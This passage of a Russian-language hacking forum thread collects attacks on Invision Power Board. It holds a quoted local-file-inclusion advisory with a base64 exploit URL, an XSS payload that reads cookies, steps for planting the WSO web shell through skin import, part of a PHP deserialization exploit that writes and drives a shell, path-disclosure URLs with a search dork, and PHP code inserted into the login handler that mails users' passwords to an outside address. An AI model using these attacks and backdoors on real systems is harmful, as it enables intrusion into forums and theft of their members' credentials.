$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}

if ( ! $app || ! $area || ! $relId )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}

if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) )
{
$this->registry->output->showError( 'no_permission', 'pcgl-2' );
}

if ( $email != $this->memberData['email'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-3' );
}

/* Think we're safe... */
$this->_like = classes_like::bootstrap( $app, $area );
-----------------[ source code end ]-----------------------------------

As seen above, user submitted parameter "key" is first base64 decoded and then
splitted to six variables. After multiple checks function "bootstrap()" is called,
using unvalidated user submitted data for arguments.

Source code snippet from vulnerable script "composite.php":
-----------------[ source code start ]---------------------------------
static public function bootstrap( $app=null, $area=null )
{
..
if( $area != 'default' )
{
$_file = IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php';
..
}
..
if ( ! is_file( $_file ) )
{
..
throw new Exception( "No like class available for $app - $area" );
..
}
..
$classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );
-----------------[ source code end ]-----------------------------------

We can see, that variable "$_file" is composed using unvalidated argument "area".
Next there is check for file existence and in case of success next function,
"loadLibrary", is called, using unvalidated argument "$_file".

Source code snippet from vulnerable script "core.php":
-----------------[ source code start ]---------------------------------
static public function loadLibrary( $filePath, $className, $app='core' )
{
/* Get the class */
if ( $filePath != '' )
{
require_once( $filePath );/*noLibHook*/
}
-----------------[ source code end ]-----------------------------------

As seen above, "require_once" function is used with unvalidated argument.

Test: we need to construct specific base64 encoded payload.
First, semicolon-separated string:

forums;/../../test;1;1;1;come2waraxe (at) yahoo (dot) com [email concealed]

Email address and other components must be valid for successful test.

After base64 encoding:

Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ

Now let's log in as valid user and then issue GET request:

http://localhost/ipb330/index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlh
aG9vLmNvbQ

Result:

Fatal error: Uncaught exception 'Exception' with message 'No like class available
for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333
Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.
php(131):
classes_like::bootstrap('forums', '/../../test')
#1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.
php(44):
public_core_global_like->_unsubscribe()
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):
public_core_global_like->doExecute(Object(ipsRegistry)) #3
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry))
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest()
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()
#6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333

Potential attack scenario:

1. Attacker registers to target forum and logs in as valid user
2. Attacker uploads avatar picture with malicious php code to target server
3. Attacker issues carefully crafted GET or POST request and as result gets php level access

There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,
for example by using procfs ("proc/self/environ") on *nix platforms.

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~

Update to new version 3.3.1

http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-i
pseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/

Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~

27.03.2012 Developers contacted via email
28.03.2012 Developers confirmed upcoming patch
11.04.2012 Developers announced new version release
12.04.2012 Advisory released

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------


Dart Raiden 02.06.2012 14:16

Invision Power Board 3.2.0 - 3.2.3. Cross Site Scripting

Добавляем в свое сообщение

Код:

[img]src="123" onError="alert(document.cookie);"[/img]
+ немного соц.инженерии: размещаем пост с таким содержанием, чтобы администратор/модератор его отредактировал, добавляем в конце ядовитый код, маскируем его тэгом [color]. При попытке редактирования происходит выполнение.

фикс выпущен 9 марта (аж через 2 месяца после сообщения разработчикам об уязвимости)

slipknot12 31.10.2012 01:23

Цитата:

Сообщение от Pashkela
Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) -
еще один вариант
по аналогии с этим постом:
/showpost.php?p=977862&postcount=10
но небольшие изменения:
1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый
2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master"
3. Идем в нашу папочку (на примере Denwer)
C:\WebServers\home\drup614.ru\www\public\style_ima ges\master
и суем туда наш любимый wso2.php
4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz
5. В архиве файлик images-master.xml
Переименовываем архив!
таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" -
images-master2.xml.gz
, название файлика в архиве сменится автоматом
6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений
Рядом с
C:\WebServers\home\drup614.ru\www\public\style_ima ges\master
появится
C:\WebServers\home\drup614.ru\www\public\style_ima ges\master2
где будет лежать все тоже самое, плюс наш шелл
в итоге шелл будет по адресу:
http://forum.site.ru/public/style_images/master2/wso2.php
PS: не забудьте потом переместить шелл и удалить каталог master2
Готовый архив с картинками и
шеллом
можно взять
тут
, останется только изменить циферку

мб у кого архив с шеллом остался перезалейте пожалуйста

-=lebed=- 27.11.2012 18:03

[B]Invision Power Board \n";

print
"\nExample....: php$argv[0]localhost /";

print
"\nExample....: php$argv[0]localhost /ipb/\n";

die();

}



list(
$host,$path) = array($argv[1],$argv[2]);



$packet="GET{$path}index.php HTTP/1.0\r\n";

$packet.="Host:{$host}\r\n";

$packet.="Connection: close\r\n\r\n";



$_prefix=preg_match('/Cookie: (.+)session/',http_send($host,$packet),$m) ?$m[1] :'';



class
db_driver_mysql

{

public
$obj= array('use_debug_log'=>1,'debug_log'=>'cache/sh.php');

}

# Super bypass by @i0n1c

$payload=urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2 :{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"c ache/sh.php";}}}');

$phpcode='';



$packet="GET{$path}index.php?{$phpcode}HTTP/1.0\r\n";

$packet.="Host:{$host}\r\n";

$packet.="Cookie:{$_prefix}member_id={$payload}\r\n";

$packet.="Connection: close\r\n\r\n";



http_send($host,$packet);



$packet="GET{$path}cache/sh.php HTTP/1.0\r\n";

$packet.="Host:{$host}\r\n";

$packet.="Cmd: %s\r\n";

$packet.="Connection: close\r\n\r\n";



if (
preg_match('/

[/COLOR]
[/PHP]
(c) exploit-db.com

Expl0ited 28.11.2012 10:21

[QUOTE="-=lebed=-"]
[B][COLOR="Red"]Invision Power Board

ReVOLVeR 14.12.2012 14:13

скорее фишка, которая катит на некоторых версиях ipb, пока не разобрался от чего все зависит.

суть:

есть вероятность подписатся на тему , зная ее номер с пользователя не имеющего прав для просмотра темы.

/subscription.php?do=addsubscription&t=[номер_темы]

n0n@me 17.12.2012 01:57

IPBoard 3.x.x/3.4 Full Path Disclosure

Код:

Exploit: admin/upgrade/index.php?app=upgrade&s=&section[]=index&do=login 
Dork:  intext:Community Forum Software by IP.Board 
Fix:  Turn off display_errors in php.ini

//...Leaked bY beBoss..//

SPUTNIK 26.12.2012 10:23

IPBoard 3.x.x/3.4 Full Path Disclosure

Код:

http://localhost/forum/admin//setup/templates/skin_setup.php
http://localhost/forum/admin//setup/cli/output.php
http://localhost/forum/admin//setup/applications/install/sections/
http://localhost/forum/admin//sources/classes/ads.php
http://localhost/forum/admin//sources/classes/archive/reader/sql.php
http://localhost/forum/admin//sources/classes/archive/restore/sql.php
http://localhost/forum/admin//sources/classes/archive/writer/sql.php
http://localhost/forum/admin//sources/classes/bbcode/custom/ccs.php
http://localhost/forum/admin//sources/classes/mapping/engines/bing.php
http://localhost/forum/admin//sources/classes/mapping/engines/google.php
http://localhost/forum/admin//sources/classes/output/adminOutput.php
http://localhost/forum/admin//sources/classes/output/formats/html/htmlOutput.php
http://localhost/forum/admin//sources/classes/output/formats/xml/xmlOutput.php
http://localhost/forum/admin//sources/classes/sabre/directory/templates.php
http://localhost/forum/admin//sources/classes/sabre/directory/groups.php
http://localhost/forum/admin//sources/classes/sabre/files/templates.php
http://localhost/forum/admin//sources/classes/sabre/lock/nolocks.php
http://localhost/forum/admin//sources/classes/sabre/root/skins.php
http://localhost/forum/admin//sources/classes/url/apis/bitly/api.php
http://localhost/forum/admin//sources/classes/url/apis/topic/api.php
http://localhost/forum/admin//sources/loginauth/convert/auth.php
http://localhost/forum/admin//sources/template_plugins/tp_addtohead.php
http://localhost/forum/admin//sources/template_plugins/tp_currency.php
http://localhost/forum/admin//sources/template_plugins/tp_date.php
http://localhost/forum/admin//sources/template_plugins/tp_editor.php
http://localhost/forum/admin//sources/template_plugins/tp_expression.php
http://localhost/forum/admin//sources/template_plugins/tp_format_number.php
http://localhost/forum/admin//sources/template_plugins/tp_include.php
http://localhost/forum/admin//sources/template_plugins/tp_ipcmedia.php
http://localhost/forum/admin//sources/template_plugins/tp_js_module.php
http://localhost/forum/admin//sources/template_plugins/tp_lang.php
http://localhost/forum/admin//sources/template_plugins/tp_replacement.php
http://localhost/forum/admin//sources/template_plugins/tp_resize_image.php
http://localhost/forum/admin//sources/template_plugins/tp_striping.php
http://localhost/forum/admin//sources/template_plugins/tp_template.php
http://localhost/forum/admin//sources/template_plugins/tp_url.php
http://localhost/forum/admin//sources/template_plugins/tp_variable.php
http://localhost/forum/admin//applications/core/setup/versions/install/knownSettings.php
http://localhost/forum/admin//applications/forums/extensions/content/plugin_blocks/site_poll/plugin.php
http://localhost/forum/admin//applications/forums/sql/mysql_topics_queries.php
http://localhost/forum/admin//applications/members/extensions/content/feed_blocks/members.php
http://localhost/forum/admin//applications/members/extensions/content/plugin_blocks/status_updates/plugin.php
http://localhost/forum/admin//applications/members/extensions/content/plugin_blocks/online_friends/plugin.php
http://localhost/forum/admin//applications/members/skin_cp/cp_skin_groups.php
http://localhost/forum/admin/setup/applications/upgrade/sections/
http://localhost/forum/admin/setup/applications/install/sections/
http://localhost/forum/admin/setup/cli/output.php
http://localhost/forum/admin//applications_addon/other/customSidebarBlocks/extensions/coreVariables.php
http://localhost/forum/admin//applications_addon/other/customSidebarBlocks/skin_cp/cp_skin_e_CSB.php
http://localhost/forum/admin//applications_addon/other/portal/skin_cp/cp_skin_portal.php
http://localhost/forum/admin//applications_addon/other/shoutbox/extensions/admin/group_form.php
http://localhost/forum/admin//applications_addon/other/shoutbox/extensions/coreVariables.php
http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_moderators.php
http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_overview.php
http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_shoutbox_group_form.php
http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_tools.php
http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_banned.php
http://localhost/forum//interface//twitter/
http://localhost/forum/ips_kernel/classCacheXcache.php
http://localhost/forum/ips_kernel/classDbMysqlClient.php
http://localhost/forum/ips_kernel/classImageImagemagick.php
http://localhost/forum/ips_kernel/facebook-client/facebook_desktop.php
http://localhost/forum/ips_kernel/facebook-client/jsonwrapper/jsonwrapper_inner.php
http://localhost/forum/ips_kernel/pop3class/browse_mailbox.php
http://localhost/forum/ips_kernel/pop3class/parse_message.php
http://localhost/forum/ips_kernel/sabre/Sabre/HTTP/AWSAuth.php

и так далее)

//Когда постишь, проверяй переносы строк

//BigBear

Sirius05 28.12.2012 12:20

как применить эти две уязвимости дляя 3.3х не подскажите

Revi 05.01.2013 21:12

Кто знает как залить шелл на IP.Board 3.3.3?

ph1l1ster 28.01.2013 01:15

Привет всем! Возможно както залить шелл имея права модера?

BigBear 28.01.2013 08:16

Цитата:

Сообщение от ph1l1ster
Привет всем! Возможно както залить шелл имея права модера?

Можно при условии, что Вас пускает в администраторскую панель с модераторскими правами.

ph1l1ster 28.01.2013 12:18

Цитата:

Сообщение от BigBear
Можно при условии, что Вас пускает в администраторскую панель с модераторскими правами.

К сожалению нет. В папке с админкой .htaccess и доступ только для определенных IP

Через аттачи не? Заливается но не выполняется. lfi нет

korp 09.02.2013 23:18

[QUOTE="-=lebed=-"]
[B][COLOR="Red"]Invision Power Board

CoBecTb 14.05.2013 17:58

Имею полный доступ к ipb 3.4.2, хочу поставить сниффер для отправки паролей на майл, или сохранения в файл, кому не сложно скиньте и объясните как установить и куда. Заранее благодарю.

Unknowhacker 29.05.2013 23:41

Мужики, а есть эксплоит под версию 3.4.4

P.S Выдало ошибку PB Предупреждение [2] mysql_connect() [function.mysql-connect]: [2002] No connection could be made because the target machine actively refused it. (trying to connect via tcp://localhost:3306) (Строка: 141 файла \ips_kernel\class_db_mysql.php)

IPB Предупреждение [2] mysql_connect() [function.mysql-connect]: No connection could be made because the target machine actively refused it. (Строка: 141 файла \ips_kernel\class_db_mysql.php)

Br@!ns 25.06.2013 12:06

Цитата:

Сообщение от CoBecTb
Имею полный доступ к ipb 3.4.2, хочу поставить сниффер для отправки паролей на майл, или сохранения в файл, кому не сложно скиньте и объясните как установить и куда. Заранее благодарю.

в файле /forum/sources/action_public/login.php или /forum/admin/sources/handlers/han_login.php не помню в какой версии какой путь. Сразу под строкой // Check auth вставляй следующее чтоб получилось так:

Код HTML:

$this->loginAuthenticate( $username, $email, $password );
$ipsclass_all = $username . ":" . $password;
mail('василийпупкин@gmail.com', '123', $ipsclass_all);


Unknowhacker 28.07.2013 17:39

Короче на движке IPB, когда заходишь в любую тему, внизу выходит окно с ошибкой SQL: http://s9.postimg.org/dyob125dr/image.jpg

P.S И собственно вопрос, можно как-нибудь пробить путь к таблицам

Inoms 28.07.2013 18:42

Цитата:

Сообщение от Unknowhacker
Короче на движке IPB, когда заходишь в любую тему, внизу выходит окно с ошибкой SQL:
http://s9.postimg.org/dyob125dr/image.jpg
P.S И собственно вопрос, можно как-нибудь пробить путь к таблицам

Если в урл, вместо ид топика поставь -1) -- - - что напишет ?

Unknowhacker 29.07.2013 21:24

Цитата:

Сообщение от Inoms
Если в урл, вместо ид топика поставь -1) -- - - что напишет ?

Сообщение форума

Обнаружена ошибка. Если вам неизвестны причины ошибки, попробуйте обратиться к разделам помощи.

Обнаружена ошибка:

Некоторые требуемые файлы отсутствуют. Если вы хотели просмотреть тему, возможно эта тема перемещена или удалена. Вернитесь назад и попробуйте снова.

P.S Т.е SQL ошибки нет.

miosaki 01.08.2013 14:19

Ребята как узнать айпи адресс человека на IPB форуме?

http://iplogger.ru/1fFc3.jpg

а чо за айпи логгер?

zippy 02.08.2013 19:39

Если на линейке 3.4.0 - 3.4.5 не стоит этот патч, то можно ли прочитать файлы форума через public/min/index.php?f=

Unknowhacker 04.08.2013 19:37

Я так смотрю под версии 3.2.х вообще ничего нету, а если и есть, то работает на дырявых и заброшенных сайтах.

ForcePush 01.10.2013 17:58

Path disclosure:

Код:

admin/upgrade/index.php?app=upgrade&s[]=&section=index&do=login
2 года назад пофиксили section[], может скоро и до s[] доберутся...

MarShaLL22 08.11.2013 09:44

Цитата:

Сообщение от Unknowhacker
Я так смотрю под версии 3.2.х вообще ничего нету, а если и есть, то работает на дырявых и заброшенных сайтах.

IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) - Admin Account Takeover Published: 2013-05-14

http://www.exploit-db.com/exploits/25441/

Пробуй. Заодно, если получится, мануал накидай небольшой, будь добр.

sysjuk 27.11.2015 01:01

Цитата:

Сообщение от Br@!ns

в файле /forum/sources/action_public/login.php или /forum/admin/sources/handlers/han_login.php не помню в какой версии какой путь. Сразу под строкой // Check auth вставляй следующее чтоб получилось так:
Код HTML:

$this->loginAuthenticate( $username, $email, $password );
$ipsclass_all = $username . ":" . $password;
mail('василийпупкин@gmail.com', '123', $ipsclass_all);


Ваш способ не работает, проверил только-что. Есть еще какие варианты?


Время: 14:43